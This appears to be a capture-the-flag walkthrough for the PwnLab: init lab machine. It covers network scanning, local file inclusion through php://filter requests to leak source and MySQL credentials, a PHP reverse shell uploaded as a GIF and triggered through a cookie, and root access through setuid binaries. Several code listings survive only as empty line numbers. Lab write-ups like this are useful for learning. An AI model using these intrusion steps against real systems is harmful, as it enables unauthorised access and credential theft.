Pwnlab_init
Tools:
- netdiscover
- Nmap
- DirBuster
- Burp
Use netdiscover to detect target IP address
netdiscover -i eth0 -r 192.168.50.0/24
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_001.png)
192.168.50.131 is the target.
Then run nmap to detect opening ports and running services on the target machine.
nmap -sV -v -O -A -T5 192.168.50.131 -p-
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_002.png)
port 80 is opening.
use nikto to scan
nikto -h 192.168.50.131
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_003.png)
use dirbuster to get all dirs and files
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_004.png)
check the page:
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_005.png)
use sqlmap
sqlmap -u "http://192.168.50.131" --forms --batch --crawl=10 --level=5 --risk=3 --random-agent --dbms=MySQL
Nothing.
Check the page souce code,
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_006.png)
It seems there is a local file inclusion in page parmeter, based on LFI
curl http://192.168.50.131/?page=php://filter/convert.base64-encode/resource=config
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_007.png)
get config.php' base64 encoded content
echo PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+ | base64 --decode
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_008.png)
get mysql username/password
connect mysql database:
mysql -h 192.168.50.131 -u root -pH4u%QJ_H99
show databases:
mysql> show databases;
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_009.png)
1 2 3 | |
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_010.png)
these passwords are base64 encoded
1 2 3 | |
login as kane
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_011.png)
try to upload webshell, failed. only accept image.
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_012.png)
in order to find out which file extension do i need
I will get upload.php code
curl http://192.168.50.131/?page=php://filter/convert.base64-encode/resource=upload
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_013.png)
decode the content
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | |
so image extensions are $whitelist = array(".jpg",".jpeg",".gif",".png");
copy a php reverse shell into a gif file, use burp add GIF
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_014.png)
then the php shell is uploaded
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_015.png)
now need to find out how to trigger the shell
check index.php
curl http://192.168.50.131/?page=php://filter/convert.base64-encode/resource=index
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | |
find out cookie also have LFI.
first verify the LFI
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_016.png)
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_017.png)
now setup netcat on port 443
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_018.png)
get the shell
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_019.png)
login in as kane
su kane
find an interesting file msgmike
ls -alh msgmike
its seuid is set.
try to run it
./msgmike
shows cat: /home/mike/msg.txt: No such file or directory
try to escape it
1 2 3 4 | |
now escape to user mike.
Find another program’s setuid is on
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_020.png)
run msg2root
Message for root:
upload setuid.c, compiled.
run msg2root, get root
![[title manually exploit [alt text]]](/images/blog/vulhub/pwnlab_init/Selection_021.png)